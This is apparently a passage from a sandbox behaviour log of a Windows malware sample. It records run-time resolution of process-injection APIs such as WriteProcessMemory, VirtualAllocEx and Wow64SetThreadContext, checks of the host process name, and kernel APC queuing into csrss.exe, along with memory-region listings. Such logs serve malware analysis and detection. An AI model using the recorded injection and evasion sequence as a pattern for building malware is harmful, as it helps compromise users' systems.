[0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0072.833] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0072.833] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0072.833] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0072.833] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0072.833] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0072.834] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0072.835] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0072.836] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0072.837] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0072.837] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0072.837] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0072.837] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0072.837] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0072.837] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0072.837] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0072.838] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0072.838] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0072.838] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0072.838] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0072.838] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0072.838] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0072.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a5000 [0072.840] IdePortDispatch () returned 0x103 [0072.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ad000 [0072.840] IdePortDispatch () returned 0x103 [0072.844] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\wininit.exe") returned 0x1f [0072.844] PathFindFileNameA (pszPath="C:\\Windows\\system32\\wininit.exe") returned="wininit.exe" [0072.844] GetCommandLineA () returned="wininit.exe" [0072.844] _strcmpi (_Str1="wininit.exe", _Str2="svchost.exe") returned 4 [0072.844] StrStrIA (lpFirst="wininit.exe", lpSrch="wermgr.exe") returned 0x0 [0072.869] HeapDestroy (hHeap=0xd10000) returned 1 [0072.957] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.067] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KBDUS.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.311] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KBDUS.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0073.468] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WlS0WndH.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 71 os_tid = 0x1a8 [0077.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.777] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.778] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.851] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.852] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.855] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 72 os_tid = 0x1ac Thread: id = 79 os_tid = 0x1c8 Thread: id = 80 os_tid = 0x1cc Thread: id = 82 os_tid = 0x1dc [0076.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 96 os_tid = 0x20c Thread: id = 144 os_tid = 0x2cc Process: id = "9" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2be45000" os_pid = "0x180" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x16c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" Region: id = 420 start_va = 0x0 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x (null)" filename = "" Region: id = 421 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 422 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 423 start_va = 0x4a600000 end_va = 0x4a605fff entry_point = 0x4a601540 region_type = mapped_file name = "csrss.exe" filename = "\\Windows\\System32\\csrss.exe" Region: id = 424 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 425 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 426 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 427 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 428 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 429 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 430 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 431 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 432 start_va = 0x7fefdc20000 end_va = 0x7fefdc32fff entry_point = 0x7fefdc27c28 region_type = mapped_file name = "csrsrv.dll" filename = "\\Windows\\System32\\csrsrv.dll" Region: id = 433 start_va = 0x100000 end_va = 0x113fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 434 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 435 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 436 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 437 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 438 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 439 start_va = 0x7fefdbc0000 end_va = 0x7fefdbf7fff entry_point = 0x7fefdbc2790 region_type = mapped_file name = "winsrv.dll" filename = "\\Windows\\System32\\winsrv.dll" Region: id = 440 start_va = 0x7fefdc00000 end_va = 0x7fefdc10fff entry_point = 0x7fefdc0b1ec region_type = mapped_file name = "basesrv.dll" filename = "\\Windows\\System32\\basesrv.dll" Region: id = 441 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 442 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 443 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 444 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 445 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 451 start_va = 0x130000 end_va = 0x196fff entry_point = 0x130000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 452 start_va = 0x1a0000 end_va = 0x1a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 453 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 454 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 455 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x1d0000 region_type = mapped_file name = "vgasys.fon" filename = "\\Windows\\Fonts\\vgasys.fon" Region: id = 456 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 457 start_va = 0x490000 end_va = 0x610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 458 start_va = 0x660000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 459 start_va = 0x670000 end_va = 0xa62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 460 start_va = 0xaa0000 end_va = 0xadffff entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 461 start_va = 0xb30000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 462 start_va = 0x7fefdbb0000 end_va = 0x7fefdbbbfff entry_point = 0x7fefdbb3e50 region_type = mapped_file name = "sxssrv.dll" filename = "\\Windows\\System32\\sxssrv.dll" Region: id = 463 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 464 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3957 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3958 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3959 start_va = 0x200000 end_va = 0x206fff entry_point = 0x200000 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" Region: id = 3960 start_va = 0x210000 end_va = 0x211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 3961 start_va = 0x220000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3962 start_va = 0x620000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3963 start_va = 0x650000 end_va = 0x65ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3964 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 3965 start_va = 0xa80000 end_va = 0xa8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 3966 start_va = 0xae0000 end_va = 0xaeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 3967 start_va = 0xb70000 end_va = 0xbcefff entry_point = 0xb70000 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" Region: id = 3968 start_va = 0xbe0000 end_va = 0xc1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 3969 start_va = 0xc80000 end_va = 0xcbffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 3970 start_va = 0xcc0000 end_va = 0xd3efff entry_point = 0xcc0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" Region: id = 3971 start_va = 0xd50000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 3972 start_va = 0xd90000 end_va = 0xf17fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 3973 start_va = 0xf20000 end_va = 0xf5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 3974 start_va = 0xf60000 end_va = 0x235ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f60000" filename = "" Region: id = 3975 start_va = 0x2360000 end_va = 0x23fffff entry_point = 0x2360000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" Region: id = 3976 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 3977 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" Region: id = 3978 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 3979 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3980 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3981 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3982 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 62 os_tid = 0x184 [0071.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\csrss.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.446] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\csrsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.450] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\basesrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.452] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0071.453] IoIs32bitProcess (Irp=0x0) returned 0 [0071.453] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800352e160 [0071.453] KeInitializeApc (Apc=0xfffffa800352e160, Thread=0xfffffa8003546060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0071.454] KeInsertQueueApc (Apc=0xfffffa800352e160, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.454] ExFreePoolWithTag (P=0xfffffa800352e160, Tag=0x0) [0071.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80034e7b80 [0071.454] IoGetCurrentProcess () returned 0xfffffa80028f1610 [0071.454] PsGetCurrentProcessId () returned 0x180 [0071.454] IoIs32bitProcess (Irp=0x0) returned 0 [0071.454] KeInitializeEvent (in: Event=0xfffffa80034e7bc0, Type=0x0, State=0 | out: Event=0xfffffa80034e7bc0) [0071.454] ExQueueWorkItem (in: WorkItem=0xfffffa80034e7b80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80034e7b80), QueueType=0x1 | out: WorkItem=0xfffffa80034e7b80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80034e7b80)) [0071.454] KeWaitForMutexObject () returned 0x0 [0071.500] ExFreePoolWithTag (P=0xfffffa80034e7b80, Tag=0x0) [0071.500] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.501] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.503] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.503] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.544] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\vga.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.561] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\framebuf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.570] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\vga.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.573] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\vga.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.576] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\framebuf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.647] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxssrv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 64 os_tid = 0x188 Thread: id = 65 os_tid = 0x18c Thread: id = 66 os_tid = 0x190 [0078.156] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sxs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.174] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.175] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 67 os_tid = 0x194 Thread: id = 70 os_tid = 0x1a4 Thread: id = 78 os_tid = 0x1c4 Thread: id = 81 os_tid = 0x1d0 Process: id = "10" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x2b40b000" os_pid = "0x19c" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x16c" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" Region: id = 482 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 483 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 484 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 485 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 486 start_va = 